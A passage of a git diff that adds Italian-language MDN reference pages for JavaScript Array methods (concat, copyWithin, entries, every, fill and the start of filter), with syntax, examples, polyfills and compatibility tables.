+<h3 id="Il_codice_seguente_concatena_due_array"><span style="font-size: 14px;">Il codice seguente concatena due array:</span></h3>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'];
+var numeric = [1, 2, 3];
+
+alpha.concat(numeric);
+// Risultato: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="Concatenare_tre_array">Concatenare tre array</h3>
+
+<p>Il codice seguente concatena tre array:</p>
+
+<pre class="brush: js">var num1 = [1, 2, 3],
+    num2 = [4, 5, 6],
+    num3 = [7, 8, 9];
+
+var nums = num1.concat(num2, num3);
+
+
+console.log(nums);
+// Risultato: [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="Concatenare_valori_ad_un_array">Concatenare valori ad un array</h3>
+
+<p>Il codice seguente concatena dei valori a quelli presenti in un array:</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'];
+
+var alphaNumeric = alpha.concat(1, [2, 3]);
+
+console.log(alphaNumeric);
+// Risultato: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale, implementato in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto Base</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatIE("5.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto Base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — aggiunge/rimuove elementi dalla fine di un array</li>
+ <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — aggiunge/rimuove elementi dall'inizio di un array</li>
+ <li>{{jsxref("Array.splice", "splice")}} — aggiunge/rimuove elementi da una posizione specifica dell'array</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("Symbol.isConcatSpreadable")}} – control flattening.</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/copywithin/index.html b/files/it/web/javascript/reference/global_objects/array/copywithin/index.html
new file mode 100644
index 0000000000..65e00abe47
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/copywithin/index.html
@@ -0,0 +1,180 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>copyWithin()</strong></code> copia superficialmente una parte di un array in un'altra locazione dello stesso array e lo restituisce, senza modificare la sua dimensione.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</div>
+
+<p class="hidden">Il codice sorgente di questo esempio interattivo e' reperibile in una repository di GitHub. Se sei interessato nel contribuire agli esempi interattivi, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ed inviaci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.copyWithin(<var>target</var>)
+<var>arr</var>.copyWithin(<var>target</var>, <var>start</var>)
+<var>arr</var>.copyWithin(<var>target</var>, <var>start</var>, <var>end</var>)
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Indice zero-based fino al quale copiare la sequenza. Se negativo, <code>target</code> sarà impostato all'ultimo elemento dell'array.</dd>
+ <dd>Se <code>target</code> è pari o più grande di <code>arr.length</code>, non sarà copiato nulla. Se <code>target</code> è posizionato dopo <code>start</code>, la sequenza copiata, sarà ritagliata per poter rientrare in <code>arr.length</code>.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>Indice zero-based dal quale si comincia a copiare gli elementi. Se negativo, <code>start</code> comincerà a contare dalla fine.</dd>
+ <dd>Se <code>start</code> è omesso, <code>copyWithin</code> copierà dall'inizio (default 0).</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>Indice zero-based che indica l'ultimo indice dal quale copiare. <code>copyWithin</code> copia fino ad <code>end</code> ma non lo include. Se negativo, <code>end</code> sarà contato dalla fine.</dd>
+ <dd>Se <code>end</code> è omesso, <code>copyWithin</code> copierà fino alla fine (default <code>arr.length</code>).</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'array modificato.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>copyWithin</code> ha le stesse funzionalità di <code>memmove</code> provenienti da C e C++, ed è un metodo molto performante per spostare i dati di un {{jsxref("Array")}}. Questa modifica si applica specialmente a {{jsxref("TypedArray/copyWithin", "TypedArray")}} metodo con lo stesso nome. La sequenza è copiata e incollata come una singola operzione; la sequenza incollata avrà i valori copiati anche se essi si sovrappongono.</p>
+
+<p>La funzione <code>copyWithin</code> è intenzionalmente<em> generic</em>, e non richiede che i suoi argomenti siano {{jsxref("Array")}} object.</p>
+
+<p><code>copyWithin</code> è un metodo mutabile. Non altera la lunghezza di <code>this</code>, ma cambia il suo contenuto e crea nuove proprietà se necessario..</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">[1, 2, 3, 4, 5].copyWithin(-2);
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+// ES2015 Typed Arrays are subclasses of Array
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// On platforms that are not yet ES2015 compliant:
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre><code>if (!Array.prototype.copyWithin) {
+  Array.prototype.copyWithin = function(target, start/*, end*/) {
+    // Steps 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Steps 3-5.
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // Steps 6-8.
+    var relativeTarget = target &gt;&gt; 0;
+
+    var to = relativeTarget &lt; 0 ?
+      Math.max(len + relativeTarget, 0) :
+      Math.min(relativeTarget, len);
+
+    // Steps 9-11.
+    var relativeStart = start &gt;&gt; 0;
+
+    var from = relativeStart &lt; 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Steps 12-14.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ? len : end &gt;&gt; 0;
+
+    var final = relativeEnd &lt; 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Step 15.
+    var count = Math.min(final - from, len - to);
+
+    // Steps 16-17.
+    var direction = 1;
+
+    if (from &lt; to &amp;&amp; to &lt; (from + count)) {
+      direction = -1;
+      from += count - 1;
+      to += count - 1;
+    }
+</code>
+<code>    // Step 18.
+    while (count &gt; 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Step 19.
+    return O;
+  };
+}</code></pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità in questa pagina è generata mediante dati strutturati. Se vuoi contribuire ai dati, controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviaci una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.copyWithin")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/entries/index.html b/files/it/web/javascript/reference/global_objects/array/entries/index.html
new file mode 100644
index 0000000000..31e156afb8
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/entries/index.html
@@ -0,0 +1,77 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Array/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>entries()</strong></code> restituisce un nuovo oggetto <code><strong>Array Iterator</strong></code> contenente delle coppie chiave/valore per ogni indice presente nell'array.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>a</var>.entries()</pre>
+
+<h3 id="Valore_ritornato">Valore ritornato</h3>
+
+<p>Un nuovo oggetto iterator {{jsxref("Array")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzo_nel_for…of">Utilizzo nel <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a></h3>
+
+<pre class="brush:js">var a = ['a', 'b', 'c'];
+var iterator = a.entries();
+
+for (let e of iterator) {
+  console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_il_browser">Compatibilità con il browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.entries")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/every/index.html b/files/it/web/javascript/reference/global_objects/array/every/index.html
new file mode 100644
index 0000000000..c1f3238ad6
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/every/index.html
@@ -0,0 +1,184 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Reference/Global_Objects/Array/every
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>every()</strong></code> controlla che tutti gli elementi all'interno dell'array passino il test implementato dalla funzione fornita.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div>
+
+<p class="hidden">Il codice sorgente per questo esempio interattivo è salvato all'interno di una repository GitHub. Se vuoi contribuire al progetto sugli esempi interattivi, perfavore clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e mandaci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.every(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione da testare per ciascun elemento, che prende tre argomenti:
+ <dl>
+  <dt><code>currentValue</code> (required)</dt>
+  <dd>L'elemento corrente che viene elaborato all'interno dell'array.</dd>
+  <dt><code>index</code>{{Optional_inline}}</dt>
+  <dd>L'indice dell'elemento corrente che viene elaborato all'interno dell'array.</dd>
+  <dt><code>array</code>{{Optional_inline}}</dt>
+  <dd>L'array <code>every</code> chiamato.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd>Opzionale. Valore da utilizzare come <code>this</code> durante l'esecuzione della <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p><code><strong>true</strong></code> se la funzione callback ritorna un valore {{Glossary("truthy")}} per ciascun elemento dell'array; altrimenti, <code><strong>false</strong></code>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>every</code>  esegue la funzione <code>callback</code> fornita una volta per ciascun elemento presente all'interno dell'array finché non ne trova uno per il quale la <code>callback</code> ritorna un valore {{Glossary("falsy")}}. Altrimenti, se la <code>callback</code> ritorna un valore {{Glossary("truthy")}} per tutti gli elementi, <code>every</code> ritorna <code>true</code>. <code>callback</code> viene invocata solo per gli indici dell'array che hanno un valore assegnato; non viene invocata per gli indici che sono stati eliminati o ai quali non è mai stato assegnato un valore.</p>
+
+<p><code>callback</code> viene invocata con tre argomenti: il valore dell'elemento, l'indice dell'elemento, e l'Array oggetto che viene attraversato. </p>
+
+<p>Se il parametro <code>thisArg</code> viene fornito a <code>every</code>, esso verrà usato come valore <code>this</code> per la <code>callback</code>. Altrimenti, il valore <code>undefined</code> verrà usato al suo posto come valore <code>this</code>.  Il valore <code>this</code>, ultimo osservabile dalla <code>callback</code>, viene determinato secondo <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">le usuali regole per determinare il this visto da una funzione.</a></p>
+
+<p><code>every</code> non modifica l'array in cui viene chiamato.</p>
+
+<p>Il range di elementi processati da <code>every</code> viene impostato prima della prima invocazione di <code>callback</code>. Gli elementi che vengono appesi all'inizio dell'array dopo la chiamata a <code>every</code>  non verranno visitati dalla <code>callback</code>. Se gli elementi esistenti dell'array vengono cambiati, il loro valore passato a <code>callback</code> sarà il valore al momento in cui <code>every</code> li visiterà; gli elementi cancellati non sono visitati.</p>
+
+<p><code>every</code> agisce come il quantificatore "for all" in matematica. In particolare, per un array vuoto, esso ritorna true. (E' <a href="http://en.wikipedia.org/wiki/Vacuous_truth#Vacuous_truths_in_mathematics">vacuously true</a> che tutti gli elementi dell' <a href="http://en.wikipedia.org/wiki/Empty_set#Common_problems">empty set</a> soddisfano qualsiasi condizione data.)</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Controllo_sulla_grandezza_di_tutti_gli_elementi_dell'array">Controllo sulla grandezza di tutti gli elementi dell'array</h3>
+
+<p>Il seguente esempio controlla che tutti gli elementi dell'array siano maggiori di 10.</p>
+
+<pre class="brush: js">function isBigEnough(element, index, array) {
+  return element &gt;= 10;
+}
+[12, 5, 8, 130, 44].every(isBigEnough);   // false
+[12, 54, 18, 130, 44].every(isBigEnough); // true
+</pre>
+
+<h3 id="Utilizzando_arrow_functions">Utilizzando arrow functions</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a> forniscono una sintassi più breve per lo stesso test.</p>
+
+<pre class="brush: js">[12, 5, 8, 130, 44].every(x =&gt; x &gt;= 10); // false
+[12, 54, 18, 130, 44].every(x =&gt; x &gt;= 10); // true</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>every</code> è stato aggiunto allo standard ECMA-262 nella 5a edizione; per questo motivo potrebbe non essere presente in altre implementazioni dello standard. Potrai aggirare il problema inserendo il seguente codice all'inizio dei tuoi scripts, permettendo così l'utilizzo di <code>every</code> in implementazioni che non lo supportano nativamente. Questo algoritmo è esattamente quello specificato in ECMA-262, 5a edizione, assumendo che <code>Object</code> e <code>TypeError</code> abbiano i loro valori originali e che <code>callbackfn.call</code> valuti sul valore originale di {{jsxref("Function.prototype.call")}}.</p>
+
+<pre class="brush: js">if (!Array.prototype.every) {
+  Array.prototype.every = function(callbackfn, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the this
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal method
+    //    of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+    if (typeof callbackfn !== 'function') {
+      throw new TypeError();
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Let k be 0.
+    k = 0;
+
+    // 7. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal method
+        //    of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let testResult be the result of calling the Call internal method
+        //     of callbackfn with T as the this value and argument list
+        //     containing kValue, k, and O.
+        var testResult = callbackfn.call(T, kValue, k, O);
+
+        // iii. If ToBoolean(testResult) is false, return false.
+        if (!testResult) {
+          return false;
+        }
+      }
+      k++;
+    }
+    return true;
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.every")}}</p>
+</div>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/fill/index.html b/files/it/web/javascript/reference/global_objects/array/fill/index.html
new file mode 100644
index 0000000000..043696f554
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/fill/index.html
@@ -0,0 +1,155 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Reference/Global_Objects/Array/fill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>fill()</strong></code> assegna un valore statico a tutti gli elementi di un array compresi tra un indice iniziale ed un indice finale.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3]
+numbers.fill(1);
+
+// results in [1, 1, 1]</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.fill(<var>value</var><var><var>)</var></var>
+<var>arr</var>.fill(<var>value</var>, <var>start<var>)
+</var>arr</var>.fill(<var>value</var>, <var>start<var>, <var>end</var>)</var></var>
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Valore statico da assegnare agli elementi dell'array.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>Indice iniziale, default uguale a 0.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>Indice finale, default uguale a <code>this.length</code>.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'array modificato.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>L'intervallo di elementi da assegnare è compreso tra [<code>start</code>, <code>end</code>).</p>
+
+<p>Il metodo  <strong><code>fill</code></strong> accetta fino a tre argomenti: <code>value</code>, <code>start</code> and <code>end</code>. Gli argomenti <code>start</code> e <code>end</code>  sono opzionali con valori di default rispettivamente di <code>0</code> di <code>length</code> dell'oggetto <code>this</code> .</p>
+
+<p>Se <code>start</code> è negativo, viene interpretato come <code>length+start</code> dove <code>length</code> è la lunghezza dell'array. Se <code>end</code> è negativo, viene intrpretato come <code>length+end</code>.</p>
+
+<p>La funzione <strong><code>fill</code></strong> è volutamente generica, non richiede che il suo valore <code>this</code> sia un Array.</p>
+
+<p>Il metodo <strong><code>fill</code></strong> è mutabile, ovvero modifica l'oggetto <code>this</code>  e  lo restituisce modificato, ovvero non ne restituisce una copia modificata.</p>
+
+<p>Quando al metodo <strong><code>fill</code></strong> viene passato un oggetto, il metodo effettuerà una copia dell'oggetto e  assegnerà agli elementi dell'Array un riferimento alla copia.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">[1, 2, 3].fill(4);               // [4, 4, 4]
+[1, 2, 3].fill(4, 1);            // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);         // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);         // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3);         // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3);         // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);       // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);     // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 5);         // [1, 2, 3]
+Array(3).fill(4);                // [4, 4, 4]
+[].fill.call({ length: 3 }, 4);  // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Objects by reference.
+var arr = Array(3).fill({}) // [{}, {}, {}];
+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.fill) {
+  Object.defineProperty(Array.prototype, 'fill', {
+    value: function(value) {
+
+      // Steps 1-2.
+      if (this == null) {
+        throw new TypeError('this is null or not defined');
+      }
+
+      var O = Object(this);
+
+      // Steps 3-5.
+      var len = O.length &gt;&gt;&gt; 0;
+
+      // Steps 6-7.
+      var start = arguments[1];
+      var relativeStart = start &gt;&gt; 0;
+
+      // Step 8.
+      var k = relativeStart &lt; 0 ?
+        Math.max(len + relativeStart, 0) :
+        Math.min(relativeStart, len);
+
+      // Steps 9-10.
+      var end = arguments[2];
+      var relativeEnd = end === undefined ?
+        len : end &gt;&gt; 0;
+
+      // Step 11.
+      var final = relativeEnd &lt; 0 ?
+        Math.max(len + relativeEnd, 0) :
+        Math.min(relativeEnd, len);
+
+      // Step 12.
+      while (k &lt; final) {
+        O[k] = value;
+        k++;
+      }
+
+      // Step 13.
+      return O;
+    }
+  });
+}
+</pre>
+
+<p>Se hai necessità di supportare engine Javascript veramente obsolete che non supportano <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, è meglio non usare affatto il polyfill per il medoto <code>Array.prototype</code> perchè non è possibile renderlo non enumerabile.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.fill")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/filter/index.html b/files/it/web/javascript/reference/global_objects/array/filter/index.html
new file mode 100644
index 0000000000..33d24d38b6
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/filter/index.html
@@ -0,0 +1,245 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Reference/Global_Objects/Array/filter
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>filter() </strong></code>crea un nuovo array contentente tutti gli elementi che passano il test implementato dalla funzione. </p>
+
+<pre class="brush: js">function isBigEnough(value) {
+  return value &gt;= 10;
+}
+
+var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// filtered is [12, 130, 44]
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>var new_array = arr</var>.filter(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione predicato per testare ciascun elemento dell'array. Restituisce <code>true</code> se l'elemento va mantenuto, <code>false</code> altrimenti. Essa prende in input tre argomenti:</dd>
+ <dd>
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>L'elemento corrente nell'array processato.</dd>
+  <dt><code>index</code></dt>
+  <dd>L' indice dell'elemento corrente processato nell'array.</dd>
+  <dt><code>array</code></dt>
+  <dd>l'array su cui <code>filter</code> è stato chiamato.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Opzionale. Valore da usare come <code>this</code> quando si esegue <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Un nuovo array con gli elementi che hanno passato il test.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
